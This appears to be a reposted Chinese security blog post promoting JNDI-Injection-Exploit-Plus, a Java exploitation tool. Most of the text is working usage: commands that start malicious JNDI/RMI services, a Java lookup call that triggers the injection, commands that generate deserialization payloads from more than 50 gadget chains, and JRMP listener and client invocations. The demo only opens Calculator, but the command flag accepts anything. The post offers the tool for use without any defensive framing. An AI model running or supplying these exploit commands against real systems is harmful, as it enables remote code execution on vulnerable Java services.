一款比ysoserial更高更快更强的反序列化工具
2022-9-12 06:33:41 Author: 哆啦安全(查看原文) 阅读量:79 收藏

一、前言

某知名安全专家：java反序列化养活了半个安全圈。

一提到java反序列化，第一个想到的工具肯定是ysoserial，其中包含了很多Gadget利用链，在复现&实战中用到的频率极高。

本文推荐一款比ysoserial更高更快更强的反序列化工具，JNDI-Injection-Exploit-Plus（文末获取项目链接）。

二、JNDI-Injection-Exploit-Plus

JNDI-Injection-Exploit-Plus改写自welk1n大佬的JNDI-Injection-Exploit项目。

1. 是一款JNDI注入利用工具，可以生成JNDI链接并启动后端相关服务。

根据JNDI的三种触发点，提供3种JNDI利用方式

  • 远程Reference链 （3种）

  • 本地Reference链 （4种）

  • 反序列化链（51种）

1.1 使用方法

$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar [-C] [command] [-A] [address]

1.2 参数说明

-C - 要执行的命令. (可选 , 默认命令 "open /Applications/Calculator.app")
-A - 运行此工具的主机IP地址. (可选 , 默认是第一个网卡的地址)

1.3 示例

1.3.1 运行工具

$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"

1.3.2. 触发JNDI注入

class Test{    public static void main(String[] args) throws Exception{        InitialContext ctx = new InitialContext();        ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");    }}

2. 是一款反序列化Payload生成工具

包含50+ Gadgets链，比ysoserial还多出10+，后续会持续补充，欢迎大家一起来提交。

2.1 使用方法

$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [bin/base64]

2.2 参数说明

-C - 要执行的命令. (可选 , 默认命令 "open /Applications/Calculator.app")-D - 要生成的反序列化链名字，见Github列表.-O - (可选) 输出格式，base64或二进制, 默认是二进制

2.3 示例

2.3.1 普通

$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

2.3.2 JRMP

  • JRMPListener

java -cp JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc

  • JRMPClient

java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64

3. 总结

JNDI-Injection-Exploit-Plus 主要有JNDI注入和生成反序列化链 2个用途，其中包含的利用链更多。详情请移步项目地址：

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus

喜欢的同学别忘了点个star。

4. 参考链接

https://github.com/cckuailong/JNDI-Injection-Exploit-Plushttps://github.com/welk1n/JNDI-Injection-Exploithttps://github.com/frohoff/ysoseria

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NzUzNzk1Mw==&mid=2247494130&idx=2&sn=2b29041387465c705927f6bcec16cb34&chksm=ceb8acbcf9cf25aa6a0a8fb1f4d5153e79a3b11432fa707d3b47b5bfdc0d42a6518e08312d70#rd
如有侵权请联系:admin#unsafe.sh